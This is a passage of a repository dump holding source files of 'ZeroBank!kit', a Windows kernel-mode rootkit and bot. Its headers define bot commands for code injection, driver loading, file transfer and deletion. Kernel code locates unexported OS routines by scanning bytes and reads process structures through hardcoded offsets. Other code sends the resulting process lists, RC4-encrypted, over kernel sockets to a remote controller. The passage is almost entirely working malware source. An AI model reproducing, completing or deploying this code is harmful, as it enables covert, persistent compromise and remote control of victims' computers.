}ROOTKIT_MODULES_ENTRY, *PROOTKIT_MODULES_ENTRY; 34 | 35 | typedef struct _ROOTKIT_MODULES_LIST_HEAD { 36 | #ifndef _WIN64 37 | LIST_ENTRY Entry; 38 | #else 39 | LIST_ENTRY64 Entry; 40 | #endif 41 | ULONG NumberOfEntries; 42 | }ROOTKIT_MODULES_LIST_HEAD, *PROOTKIT_MODULES_LIST_HEAD; 43 | 44 | PROOTKIT_MODULES_LIST_HEAD g_modules_head; 45 | PROOTKIT_MODULES_LIST_HEAD kernel_get_modules(IN PROOTKIT_API_HASH Hash); 46 | ULONG rk_copy_modules_list_to_buffer(IN PROOTKIT_MODULES_ENTRY Buffer, IN PROOTKIT_API_HASH Hash); 47 | BOOLEAN rk_send_modules_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash); 48 | 49 | -------------------------------------------------------------------------------- /ZeroBank!kit/net.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define ZB_INJECT 1 4 | #define ZB_KERNEL_TO_USER_TRANSFER 2 5 | #define ZB_USER_TO_KERNEL_TRANSFER 3 6 | #define ZB_LOAD_DRIVER 4 7 | #define ZB_DISCONNECT 5 8 | #define ZB_EPROCESS 6 9 | #define ZB_ETHREAD 7 10 | #define ZB_MODULES 8 11 | #define ZB_FILE_EXPLORER 9 12 | #define ZB_DELETE_FILE 10 13 | #define ZB_INTERNAL_SYSTEM_INFORMATION 11 14 | #define ZB_START_TDI_FILTER 12 15 | #define ZB_STOP_TDI_FILTER 13 16 | #define ZB_GET_BOT_CONNECTIONS 14 17 | #define ZB_GET_BOT_SEND_REQUESTS 15 18 | 19 | 20 | #define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8)) 21 | #define INETADDR(a, b, c, d) (a + (b<<8) + (c<<16) + (d<<24)) 22 | #define TDISUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 23 | 24 | NTSTATUS NTAPI ZwQueryInformationProcess( 25 | _In_ HANDLE ProcessHandle, 26 | _In_ PROCESSINFOCLASS ProcessInformationClass, 27 | _Out_ PVOID ProcessInformation, 28 | _In_ ULONG ProcessInformationLength, 29 | _Out_opt_ PULONG ReturnLength 30 | ); 31 | 32 | // ROOTKIT_BOT_HEADER Basic information 33 | 34 | typedef struct _ZEROBANK_BOT_HEADER 35 | { 36 | CHAR Os[40]; 37 | ULONG majorver; 38 | ULONG minorver; 39 | ULONG Build; 40 | CHAR Arch[5]; 41 | CHAR BotId[255]; 42 | BOOLEAN IsNtServer; 43 | CHAR Locale[255]; 44 | CHAR lang[255]; 45 | }ZEROBANK_BOT_HEADER, *PZEROBANK_BOT_HEADER; 46 | 47 | // ROOTKIT_PACKET Packet for general purposes 48 | 49 | typedef struct _ZEROBANK_PACKET_TYPE 50 | { 51 | UCHAR PacketType; 52 | UINT32 ProcessId_For_ETHREAD_plugin; 53 | UINT32 ProcessId_For_QueryProcessInformation_Plugin; 54 | CHAR FileName_For_FileExplorer_plugin[255]; 55 | CHAR FileName_For_File_Transfer[255]; 56 | CHAR FileName_For_File_Deletion[255]; 57 | }ZEROBANK_PACKET_TYPE, *PZEROBANK_PACKET_TYPE; 58 | 59 | typedef struct _ZEROBANK_COMMUNICATION_CTX 60 | { 61 | KEVENT Event; 62 | BOOLEAN Stop; 63 | PETHREAD Ethread; 64 | PROOTKIT_API_HASH g_Hash; 65 | PDRIVER_OBJECT pDriverObjectCtx; 66 | 67 | }ZEROBANK_COMMUNICATION_CTX, *PZEROBANK_COMMUNICATION_CTX; 68 | 69 | typedef struct _ZEROBANK_TDI_FILTER 70 | { 71 | KEVENT Event; 72 | BOOLEAN Stop; 73 | PROOTKIT_API_HASH Hash; 74 | PDRIVER_OBJECT pDriverObject; 75 | PETHREAD Ethread; 76 | 77 | }ZEROBANK_TDI_FILTER, *PZEROBANK_TDI_FILTER; 78 | 79 | extern ZEROBANK_COMMUNICATION_CTX Ctx; 80 | 81 | TDI_STATUS tdi_completion_routine(IN PDEVICE_OBJECT deviceobject, IN PIRP Irp, IN PVOID context); 82 | INT send(IN PFILE_OBJECT socket, IN PCHAR data, IN ULONG datasize); 83 | INT recv(IN PFILE_OBJECT socket, IN PCHAR data, IN ULONG datasize); 84 | TDI_STATUS connect(IN PFILE_OBJECT *socket, IN USHORT port,IN ULONG oct1, IN ULONG oct2, IN ULONG oct3, IN ULONG oct4, IN PROOTKIT_API_HASH Hash); 85 | TDI_STATUS bind(IN PHANDLE Handle, IN PFILE_OBJECT *socket, IN PROOTKIT_API_HASH Hash); 86 | TDI_STATUS closesocket(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash); 87 | TDI_STATUS destroy_connection_address(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash); 88 | TDI_STATUS create_address(IN PHANDLE *Handle, IN PFILE_OBJECT *socket, IN PROOTKIT_API_HASH Hash); 89 | TDI_STATUS create_connection(IN PHANDLE Handle, IN PFILE_OBJECT **socket, IN PROOTKIT_API_HASH Hash); 90 | INT tdi_send_crypted(IN PFILE_OBJECT socket, IN INT keytype, IN PVOID Data, IN ULONG Size, OUT PULONG SizeSent OPTIONAL); 91 | INT tdi_recv_decrypted(IN PFILE_OBJECT socket, IN INT keytype, IN PVOID Data, IN ULONG Size, OUT PULONG SizeRecv OPTIONAL); 92 | VOID zerobank_communication_worker_thread(PVOID Context); 93 | NTSTATUS zerobank_init_communication_thread(OUT PZEROBANK_COMMUNICATION_CTX Context); 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /ZeroBank!kit/non_exported_procedures.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | 4 | /*//////////////////////////////////////////////////////////// 5 | // File: non_exported_procedures.c 6 | // 7 | // Non exported routines addresses loaded 8 | // with GetInternalOsFunctionAddressByOffsetAndFunctionName 9 | // 10 | // 11 | *///////////////////////////////////////////////////////////// 12 | 13 | IOCREATEFILE IoCreateFileOriginal = NULL; 14 | IOPCREATEFILE MyIopCreateFile = NULL; 15 | OBCLOSEHANDLE ObCloseHandleOriginal = NULL; 16 | OBPCLOSEHANDLE ObpCloseHandle = NULL; 17 | 18 | UINT_PTR GetInternalOsFunctionAddressByOffsetAndFunctionName( 19 | IN PVOID FunctionAddress, 20 | IN PCWSTR FunctionName, 21 | IN UINT8 FirstOffset, 22 | IN UINT8 SecondOffset, 23 | IN OPTIONAL UINT8 ThirdOffset, 24 | IN PROOTKIT_API_HASH Hash) 25 | { 26 | UNICODE_STRING func = { 0 }; 27 | 28 | FunctionAddress = NULL; 29 | Hash->_RtlInitUnicodeString(&func, FunctionName); 30 | 31 | FunctionAddress = (PVOID)Hash->_MmGetSystemRoutineAddress(&func); 32 | if (FunctionAddress && Hash->_MmIsAddressValid(&func)) 33 | { 34 | 35 | __try 36 | { 37 | 38 | PUINT8 i = NULL; 39 | PUINT8 StartScannerAddress = (PUINT8)FunctionAddress; 40 | PUINT8 EndScannerAddress = StartScannerAddress + 0x500; 41 | UINT8 value1 = 0, value2 = 0, value3 = 0; 42 | #ifndef _WIN64 43 | INT32 offset = 0; 44 | #else 45 | INT64 offset = 0; 46 | #endif _WIN64 47 | for (i = StartScannerAddress; i < EndScannerAddress; ++i) 48 | { 49 | if (ARGUMENT_PRESENT(ThirdOffset)) 50 | { 51 | 52 | if (Hash->_MmIsAddressValid(i) && Hash->_MmIsAddressValid(i + 1) && Hash->_MmIsAddressValid(i + 7)) 53 | { 54 | 55 | value1 = *i; 56 | value2 = *(i + 1); 57 | value3 = *(i + 7); 58 | if (value1 == FirstOffset && value2 == SecondOffset && value3 == ThirdOffset) 59 | { 60 | kimemcpy(&offset, i + 3, 4); 61 | #ifndef _WIN64 62 | return(UINT_PTR)(offset + (UINT32)i + 5); 63 | #else 64 | return(UINT_PTR)(offset + (UINT64)i + 7); 65 | #endif _WIN64 66 | } 67 | 68 | } 69 | } 70 | else 71 | { 72 | 73 | value1 = *i; 74 | value2 = *(i + 5); 75 | if (value1 == FirstOffset && value2 == SecondOffset) 76 | { 77 | kimemcpy(&offset, i + 1, 4); 78 | #ifndef _WIN64 79 | return(UINT_PTR)(offset + (UINT32)i + 5); 80 | #else 81 | return(UINT_PTR)(offset + (UINT64)i + 5); 82 | #endif _WIN64 83 | } 84 | } 85 | } 86 | 87 | } 88 | __except (EXCEPTION_EXECUTE_HANDLER) { 89 | return GetExceptionCode(); 90 | } 91 | } 92 | 93 | return 0; 94 | } 95 | 96 | VOID KiLoadNonExportedRoutines(IN PVOID Context) 97 | { 98 | PROOTKIT_API_HASH Hash = NULL; 99 | Hash = (PROOTKIT_API_HASH)Context; 100 | 101 | __try 102 | { 103 | MyIopCreateFile = (IOPCREATEFILE)GetInternalOsFunctionAddressByOffsetAndFunctionName(IoCreateFileOriginal, 104 | L"IoCreateFile", 105 | g_rootkit_dynamic_data.IopCreateFile_First_Offset, 106 | g_rootkit_dynamic_data.IopCreateFile_Second_Offset, 107 | NULL, 108 | Hash); 109 | if (MyIopCreateFile && Hash->_MmIsAddressValid(MyIopCreateFile)) 110 | { 111 | KdPrint(("\r\nIopCreateFile address resolved")); 112 | } 113 | 114 | ObpCloseHandle = (OBPCLOSEHANDLE)GetInternalOsFunctionAddressByOffsetAndFunctionName(ObCloseHandleOriginal, 115 | L"ObCloseHandle", 116 | g_rootkit_dynamic_data.ObpCloseHandle_1_Offset, 117 | g_rootkit_dynamic_data.ObpCloseHandle_2_Offset, 118 | NULL, 119 | Hash); 120 | if (ObpCloseHandle && Hash->_MmIsAddressValid(ObpCloseHandle)) 121 | { 122 | KdPrint(("\r\nObpCloseHandle address resolved")); 123 | } 124 | } 125 | __except (EXCEPTION_EXECUTE_HANDLER) 126 | { 127 | return GetExceptionCode(); 128 | } 129 | 130 | Hash->_PsTerminateSystemThread(STATUS_SUCCESS); 131 | } -------------------------------------------------------------------------------- /ZeroBank!kit/non_exported_procedures.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _AUX_ACCESS_DATA { 4 | 5 | PPRIVILEGE_SET PrivilegesUsed; 6 | GENERIC_MAPPING GenericMapping; 7 | ACCESS_MASK AccessesToAudit; 8 | ULONG Reserve; //unknow... 9 | 10 | } AUX_ACCESS_DATA, *PAUX_ACCESS_DATA; 11 | 12 | // 13 | 14 | // Define the local routines used by this driver module. 15 | 16 | // 17 | 18 | NTSTATUS ObCreateObject( 19 | IN KPROCESSOR_MODE ProbeMode, 20 | IN POBJECT_TYPE ObjectType, 21 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 22 | IN KPROCESSOR_MODE OwnershipMode, 23 | IN OUT PVOID ParseContext OPTIONAL, 24 | IN ULONG ObjectBodySize, 25 | IN ULONG PagedPoolCharge, 26 | IN ULONG NonPagedPoolCharge, 27 | OUT PVOID *Object 28 | 29 | ); 30 | 31 | NTSTATUS SeCreateAccessState( 32 | IN PACCESS_STATE AccessState, 33 | IN PAUX_ACCESS_DATA AuxData, 34 | IN ACCESS_MASK DesiredAccess, 35 | IN PGENERIC_MAPPING GenericMapping OPTIONAL 36 | ); 37 | 38 | 39 | typedef NTKERNELAPI NTSTATUS(*IOCREATEFILE)( 40 | PHANDLE FileHandle, 41 | ACCESS_MASK DesiredAccess, 42 | POBJECT_ATTRIBUTES ObjectAttributes, 43 | PIO_STATUS_BLOCK IoStatusBlock, 44 | PLARGE_INTEGER AllocationSize, 45 | ULONG FileAttributes, 46 | ULONG ShareAccess, 47 | ULONG Disposition, 48 | ULONG CreateOptions, 49 | PVOID EaBuffer, 50 | ULONG EaLength, 51 | CREATE_FILE_TYPE CreateFileType, 52 | PVOID InternalParameters, 53 | ULONG Options 54 | ); 55 | 56 | typedef NTKERNELAPI NTSTATUS(*IOPCREATEFILE)(PHANDLE pHandle, 57 | ACCESS_MASK DesiredAccess, 58 | POBJECT_ATTRIBUTES pObjectAttributes, 59 | PIO_STATUS_BLOCK pIoStatusBlock, 60 | PLARGE_INTEGER pAllocationSize, 61 | ULONG FileAttributes, 62 | ULONG ShareAccess, 63 | ULONG Disposition, 64 | ULONG CreateOptions, 65 | PVOID pEaBuffer, 66 | ULONG EaLength, 67 | CREATE_FILE_TYPE CreateFileType, 68 | PVOID pExtraCreateParameters, 69 | ULONG Options, 70 | ULONG Flags, 71 | PVOID pIoDriverCreateContext); 72 | 73 | NTSYSAPI 74 | NTSTATUS 75 | NTAPI 76 | ZwQueryDefaultLocale( 77 | __in BOOLEAN UserProfile, 78 | __out PLCID DefaultLocaleId 79 | ); 80 | 81 | NTSYSAPI 82 | NTSTATUS 83 | NTAPI 84 | ZwQueryInstallUILanguage( 85 | __out LANGID *InstallUILanguageId 86 | ); 87 | 88 | NTSYSAPI 89 | NTSTATUS 90 | NTAPI 91 | ZwQueryDefaultUILanguage( 92 | __out LANGID *DefaultUILanguageId 93 | ); 94 | 95 | 96 | typedef NTKERNELAPI NTSTATUS(*PSTERMINATESYSTEMTHREAD)(NTSTATUS ExitStatus); 97 | 98 | typedef NTKERNELAPI NTSTATUS(*PSPTERMINATETHREADBYPOINTER)(IN PETHREAD Ethread, 99 | IN NTSTATUS ExitStatus, 100 | IN BOOLEAN DirectTerminate); 101 | 102 | typedef NTKERNELAPI NTSTATUS(*OBCLOSEHANDLE)( 103 | HANDLE Handle, 104 | KPROCESSOR_MODE PreviousMode 105 | ); 106 | 107 | typedef NTKERNELAPI NTSTATUS(*OBPCLOSEHANDLE)( 108 | HANDLE Handle, 109 | KPROCESSOR_MODE PreviousMode 110 | ); 111 | 112 | 113 | extern IOCREATEFILE IoCreateFileOriginal; 114 | extern IOPCREATEFILE MyIopCreateFile; 115 | extern OBCLOSEHANDLE ObCloseHandleOriginal; 116 | extern OBPCLOSEHANDLE ObpCloseHandle; 117 | 118 | UINT_PTR GetInternalOsFunctionAddressByOffsetAndFunctionName( 119 | IN PVOID FunctionAddress, 120 | IN PCWSTR FunctionName, 121 | IN UINT8 FirstOffset, 122 | IN UINT8 SecondOffset, 123 | IN OPTIONAL UINT8 ThirdOffset, 124 | IN PROOTKIT_API_HASH Hash); 125 | 126 | NTSTATUS IopCreateFile(OUT PHANDLE pHandle, 127 | IN ACCESS_MASK DesiredAccess, 128 | IN POBJECT_ATTRIBUTES ObjectAttributes, 129 | IN PIO_STATUS_BLOCK io, 130 | IN PLARGE_INTEGER Alloc, 131 | IN ULONG FileAttributes, 132 | IN ULONG ShareAccess, 133 | IN ULONG Disposition, 134 | IN ULONG CreateOptions, 135 | IN PVOID EABuffer, 136 | IN ULONG EALength, 137 | IN CREATE_FILE_TYPE CreateFileType, 138 | IN PVOID Extras, 139 | IN ULONG Options, 140 | IN ULONG Flags, 141 | IN PVOID CreateCtx); 142 | 143 | 144 | VOID KiLoadNonExportedRoutines(IN PVOID Hash); 145 | -------------------------------------------------------------------------------- /ZeroBank!kit/offsets.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | 4 | /*////////////////////////////////////////////////////// 5 | // 6 | // File: rootkit_private_offsets 7 | // 8 | // Goal: Store private dependent OS offsets 9 | // 10 | */////////////////////////////////////////////////////// 11 | 12 | 13 | ROOTKIT_INTERNAL_DYNAMIC_DATA g_rootkit_dynamic_data = { 0 }; 14 | 15 | 16 | VOID rootkit_dynamic_data_thread(PVOID Context) 17 | { 18 | ULONG majorversion = 0; 19 | ULONG minorversion = 0; 20 | ULONG build = 0; 21 | PROOTKIT_API_HASH Hash = NULL; 22 | 23 | Hash = (PROOTKIT_API_HASH)Context; 24 | 25 | __try 26 | { 27 | 28 | Hash->_PsGetVersion(&majorversion, &minorversion, &build, NULL); 29 | switch (minorversion) 30 | { 31 | case Windows_7: 32 | 33 | // 32-bit sys 34 | // PROCESS OFFSETS 35 | 36 | g_rootkit_dynamic_data.Pcb = 0x000; 37 | g_rootkit_dynamic_data.ProcessLock_Offset = 0x098; 38 | g_rootkit_dynamic_data.ImageFileName_Offset = 0x16c; 39 | g_rootkit_dynamic_data.CreateTime_Offset = 0x0a0; 40 | g_rootkit_dynamic_data.UniqueProcessId_Offset = 0x0b4; 41 | g_rootkit_dynamic_data.InheritedFromUniqueProcessId_Offset = 0x140; 42 | g_rootkit_dynamic_data.SectionObject_Offset = 0x128; 43 | g_rootkit_dynamic_data.ActiveProcessLinks_Offset = 0x0b8; 44 | g_rootkit_dynamic_data.ProtectedProcess_Offset = 0x26c; 45 | g_rootkit_dynamic_data.ProcessKernelTime_Offset = 0x088; 46 | g_rootkit_dynamic_data.ProcessUserTime_Offset = 0x08c; 47 | g_rootkit_dynamic_data.ObjectTable_Offset = 0x0f4; 48 | g_rootkit_dynamic_data.RundownProtect_Offset = 0x0b0; 49 | 50 | // THREAD OFFSETS 51 | 52 | g_rootkit_dynamic_data.ThreadListHead_Offset = 0x188; 53 | g_rootkit_dynamic_data.ThreadListEntry_Offset = 0x268; 54 | g_rootkit_dynamic_data.StartAddress_Offset = 0x218; 55 | g_rootkit_dynamic_data.CreateTimeThread_Offset = 0x200; 56 | g_rootkit_dynamic_data.ContextSwitches_Offset = 0x064; 57 | g_rootkit_dynamic_data.State_Offset = 0x068; 58 | g_rootkit_dynamic_data.KernelStackResident_Offset = 0x03c; 59 | g_rootkit_dynamic_data.WaitRegister_Offset = 0x038; 60 | g_rootkit_dynamic_data.ThreadUserTime_Offset = 0x1c4; 61 | g_rootkit_dynamic_data.ThreadKernelTime_Offset = 0x198; 62 | 63 | // FUNCTION OFFSETS 64 | 65 | g_rootkit_dynamic_data.IopCreateFile_First_Offset = 0xE8; 66 | g_rootkit_dynamic_data.IopCreateFile_Second_Offset = 0x5D; 67 | g_rootkit_dynamic_data.ObpCloseHandle_1_Offset = 0xE8; 68 | g_rootkit_dynamic_data.ObpCloseHandle_2_Offset = 0x5E; 69 | 70 | // SYSTEM INFORMATION PLUGIN OFFSETS 71 | 72 | g_rootkit_dynamic_data.KeMaximumIncrement = 0x18730; 73 | 74 | 75 | // HANDLE_TABLE 76 | 77 | g_rootkit_dynamic_data.HandleTableList_Offset = 0x010; 78 | g_rootkit_dynamic_data.HandleTableListHead_Offset = 0x89001d08; 79 | g_rootkit_dynamic_data.HandleCount_Offset = 0x030; 80 | 81 | 82 | break; 83 | 84 | case Windows_8: 85 | 86 | break; 87 | 88 | case Windows_81: 89 | 90 | 91 | // FUNCTION OFFSETS 92 | 93 | g_rootkit_dynamic_data.IopCreateFile_First_Offset = 0xE8; 94 | g_rootkit_dynamic_data.IopCreateFile_Second_Offset = 0x5D; 95 | g_rootkit_dynamic_data.ObpCloseHandle_1_Offset = 0xE8; 96 | g_rootkit_dynamic_data.ObpCloseHandle_2_Offset = 0x5E; 97 | 98 | // EPROCESS OFFSETS 99 | 100 | 101 | g_rootkit_dynamic_data.Pcb = 0x000; 102 | g_rootkit_dynamic_data.RundownProtect_Offset = 0x0b0; 103 | g_rootkit_dynamic_data.ProcessLock_Offset = 0x0a0; 104 | g_rootkit_dynamic_data.ActiveProcessLinks_Offset = 0x0b8; 105 | g_rootkit_dynamic_data.ImageFileName_Offset = 0x170; 106 | g_rootkit_dynamic_data.UniqueProcessId_Offset = 0x0b4; 107 | g_rootkit_dynamic_data.InheritedFromUniqueProcessId_Offset = 0x134; 108 | g_rootkit_dynamic_data.SectionObject_Offset = 0x11c; 109 | g_rootkit_dynamic_data.CreateTime_Offset = 0x0a8; 110 | g_rootkit_dynamic_data.ObjectTable_Offset = 0x150; 111 | 112 | // ETHREAD OFFSETS 113 | 114 | g_rootkit_dynamic_data.KernelStackResident_Offset = 0x058; 115 | g_rootkit_dynamic_data.ContextSwitches_Offset = 0x08c; 116 | g_rootkit_dynamic_data.ThreadListEntry_Offset = 0x39c; 117 | g_rootkit_dynamic_data.CreateTimeThread_Offset = 0x338; 118 | g_rootkit_dynamic_data.StartAddress_Offset = 0x350; 119 | g_rootkit_dynamic_data.ThreadListHead_Offset = 0x194; 120 | g_rootkit_dynamic_data.State_Offset = 0x090; 121 | g_rootkit_dynamic_data.WaitRegister_Offset = 0x054; 122 | 123 | // SYSTEM INFORMATION PLUGIN OFFSETS 124 | 125 | 126 | break; 127 | 128 | case Windows_10: 129 | 130 | break; 131 | default: 132 | break; 133 | } 134 | 135 | } 136 | __except (EXCEPTION_EXECUTE_HANDLER) 137 | { 138 | DbgPrint("\r\nCaught exception on dynamic data thread"); 139 | } 140 | 141 | Hash->_PsTerminateSystemThread(STATUS_SUCCESS); 142 | } 143 | 144 | -------------------------------------------------------------------------------- /ZeroBank!kit/offsets.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | typedef enum _WINDOWS_VERSION { 5 | Windows_7 = 1, 6 | Windows_8 = 2, 7 | Windows_81 = 3, 8 | Windows_10 = 0 9 | }WINDOWS_VERSION; 10 | 11 | typedef struct _ROOTKIT_INTERNAL_DYNAMIC_DATA 12 | { 13 | WINDOWS_VERSION win_version; 14 | 15 | // EPROCESS OFFSETS 16 | 17 | ULONG_PTR Pcb; 18 | ULONG_PTR ProcessLock_Offset; 19 | ULONG_PTR ImageFileName_Offset; 20 | UINT32 UniqueProcessId_Offset; 21 | UINT32 InheritedFromUniqueProcessId_Offset; 22 | UINT_PTR SectionObject_Offset; 23 | ULONG_PTR CreateTime_Offset; 24 | ULONG_PTR ActiveProcessLinks_Offset; 25 | ULONG_PTR ProtectedProcess_Offset; 26 | ULONG_PTR ProcessUserTime_Offset; 27 | ULONG_PTR ProcessKernelTime_Offset; 28 | ULONG_PTR ObjectTable_Offset; 29 | ULONG_PTR RundownProtect_Offset; 30 | ULONG_PTR Wow64Process_Offset; 31 | 32 | //START OF ETHREAD OFFSETS 33 | 34 | ULONG_PTR ThreadListHead_Offset; 35 | ULONG_PTR ThreadListEntry_Offset; 36 | ULONG_PTR StartAddress_Offset; 37 | ULONG_PTR CreateTimeThread_Offset; 38 | UINT16 ContextSwitches_Offset; 39 | UCHAR State_Offset; 40 | ULONG_PTR KernelStackResident_Offset; 41 | ULONG_PTR WaitRegister_Offset; 42 | UINT32 ThreadUserTime_Offset; 43 | UINT32 ThreadKernelTime_Offset; 44 | 45 | 46 | // START OF INTERNAL OPERATING SYSTEM FUNCTION OFFSETS 47 | 48 | ULONG_PTR IopCreateFile_First_Offset; 49 | ULONG_PTR IopCreateFile_Second_Offset; 50 | ULONG_PTR ObpCloseHandle_1_Offset; 51 | ULONG_PTR ObpCloseHandle_2_Offset; 52 | 53 | // START OF SYSTEM INTERNAL INFORMATION GATHERING PROCESS 54 | 55 | ULONG KeMaximumIncrement; 56 | 57 | // HANDLE TABLE 58 | 59 | ULONG_PTR HandleCount_Offset; 60 | ULONG_PTR HandleTableListHead_Offset; 61 | ULONG_PTR HandleTableList_Offset; 62 | 63 | 64 | }ROOTKIT_INTERNAL_DYNAMIC_DATA, *PROOTKIT_INTERNAL_DYNAMIC_DATA; 65 | 66 | extern ROOTKIT_INTERNAL_DYNAMIC_DATA g_rootkit_dynamic_data; 67 | 68 | 69 | VOID rootkit_dynamic_data_thread(PVOID Context); 70 | 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /ZeroBank!kit/ps.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /*/////////////////////////////////////////////////////// 4 | // 5 | // File: ps.c 6 | // 7 | // Gather process information 8 | // directly from EPROCESS structure 9 | // 10 | // 1) Get total number of processes and store them in 11 | // a double linked list 12 | // 2) Copy list to previously allocated buffer for 13 | // data extraction 14 | // 3) Send buffer to user-space 15 | *///////////////////////////////////////////////////////// 16 | 17 | 18 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_processes(IN PROOTKIT_API_HASH Hash) 19 | { 20 | NTSTATUS st; 21 | ULONG bytes = 0; 22 | CLIENT_ID cid = { 0 }; 23 | OBJECT_ATTRIBUTES oa = { 0 }; 24 | UNICODE_STRING function = { 0 }; 25 | PSYSTEM_PROCESS_INFORMATION sysinfo = NULL; 26 | PVOID buffer = NULL; 27 | HANDLE handle; 28 | PEPROCESS Eprocess = NULL; 29 | PROOTKIT_PROCESS_ENTRY entrybuffer = NULL; 30 | TIME_FIELDS timer = { 0 }; 31 | LARGE_INTEGER time = { 0 }; 32 | CHAR timebuffer[260] = { 0 }; 33 | ULONG i; 34 | 35 | g_process_head = (PROOTKIT_PROCESS_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_PROCESS_LIST_HEAD)); 36 | InitializeListHead(&g_process_head->Entry); 37 | g_process_head->NumberOfProcesses = 0; 38 | 39 | __try 40 | { 41 | for (i = 0; i < PAGE_SIZE; i += 4) 42 | { 43 | st = Hash->_PsLookupProcessByProcessId((HANDLE)i, &Eprocess); 44 | if (NT_SUCCESS(st)) 45 | { 46 | entrybuffer = (PROOTKIT_PROCESS_ENTRY)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_PROCESS_ENTRY)); 47 | memset(entrybuffer, 0, sizeof(ROOTKIT_PROCESS_ENTRY)); 48 | 49 | entrybuffer->Eprocess = (ULONG_PTR)Eprocess; 50 | kistrcpy(entrybuffer->ImageFileName, (CHAR*)(ULONG_PTR)Eprocess + g_rootkit_dynamic_data.ImageFileName_Offset); 51 | entrybuffer->pid = *(PUINT32)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.UniqueProcessId_Offset); 52 | entrybuffer->ppid = *(PUINT32)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.InheritedFromUniqueProcessId_Offset); 53 | entrybuffer->IsProcessProtected = (BOOLEAN)Hash->_PsIsProtectedProcess(Eprocess); 54 | 55 | time = *(LARGE_INTEGER*)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.CreateTime_Offset); 56 | Hash->_RtlTimeToTimeFields(&time, &timer); 57 | Hash->_sprintf_s(entrybuffer->ProcessCreationTime, 260, "%02u/%02u/%04u %02u:%02u:%02u:%03u", 58 | timer.Day, timer.Month, timer.Year, timer.Hour, timer.Minute, timer.Second, 59 | timer.Milliseconds); 60 | 61 | 62 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 63 | InsertTailList(&g_process_head->Entry, &entrybuffer->Entry); 64 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 65 | 66 | g_process_head->NumberOfProcesses++; 67 | 68 | Hash->_ObfDereferenceObject(Eprocess); 69 | 70 | 71 | } 72 | } 73 | 74 | 75 | } 76 | __except (EXCEPTION_EXECUTE_HANDLER) 77 | { 78 | KdPrint(("\r\nException Caught in Process List")); 79 | return GetExceptionCode(); 80 | } 81 | 82 | return g_process_head; 83 | } 84 | 85 | 86 | ULONG rk_copy_process_list_to_buffer(IN PROOTKIT_PROCESS_ENTRY Buffer, IN PROOTKIT_API_HASH Hash) 87 | { 88 | PROOTKIT_PROCESS_ENTRY Process = NULL; 89 | ULONG returnedbytes = 0; 90 | 91 | if (g_process_head == NULL) 92 | return 0; 93 | 94 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 95 | 96 | while (!IsListEmpty(&g_process_head->Entry)) 97 | { 98 | Process = (PROOTKIT_PROCESS_ENTRY)RemoveTailList(&g_process_head->Entry); 99 | kimemcpy(Buffer, Process, sizeof(ROOTKIT_PROCESS_ENTRY)); 100 | Hash->_ExFreePoolWithTag(Process,0); 101 | Buffer++; 102 | returnedbytes++; 103 | } 104 | 105 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 106 | 107 | Hash->_ExFreePoolWithTag(g_process_head,0); 108 | g_process_head = NULL; 109 | return returnedbytes * sizeof(ROOTKIT_PROCESS_ENTRY); 110 | } 111 | 112 | BOOLEAN rk_send_process_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash) 113 | { 114 | ULONG bytes = 0; 115 | ULONG returnedbytes = 0; 116 | INT sendsize = 0; 117 | PROOTKIT_PROCESS_LIST_HEAD processhead = NULL; 118 | PROOTKIT_PROCESS_ENTRY entrybuffer = NULL; 119 | PROOTKIT_PROCESS_ENTRY cryptedbuffer = NULL; 120 | PVOID Buffer = NULL; 121 | PMDL Mdl = NULL; 122 | BOOLEAN g_cond = FALSE; 123 | rc4_ctx ctx = { 0 }; 124 | 125 | processhead = kernel_get_processes(Hash); 126 | bytes = processhead->NumberOfProcesses*sizeof(ROOTKIT_PROCESS_ENTRY); 127 | 128 | do 129 | { 130 | sendsize = send(SocketObject, (char*)&bytes, sizeof(ULONG)); 131 | if (sendsize > 0) 132 | { 133 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash); 134 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl, Hash) == TRUE) 135 | { 136 | entrybuffer = (PROOTKIT_PROCESS_ENTRY)Buffer; 137 | if (entrybuffer && Hash->_MmIsAddressValid(entrybuffer)) 138 | { 139 | returnedbytes = rk_copy_process_list_to_buffer(entrybuffer, Hash); 140 | if (returnedbytes > 0) 141 | { 142 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_2, (PROOTKIT_PROCESS_ENTRY)entrybuffer, returnedbytes, 0); 143 | if (sendsize > 0) 144 | { 145 | g_cond = TRUE; 146 | goto clean; 147 | } 148 | } 149 | } 150 | } 151 | } 152 | 153 | 154 | } while (FALSE); 155 | 156 | clean: 157 | 158 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash); 159 | Buffer = NULL; 160 | 161 | return g_cond; 162 | } 163 | 164 | -------------------------------------------------------------------------------- /ZeroBank!kit/ps.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #pragma once 4 | 5 | #define PROCESS_QUERY_INFORMATION 0x0400 6 | #define ASSERT_PROCESS(object) 7 | 8 | typedef struct 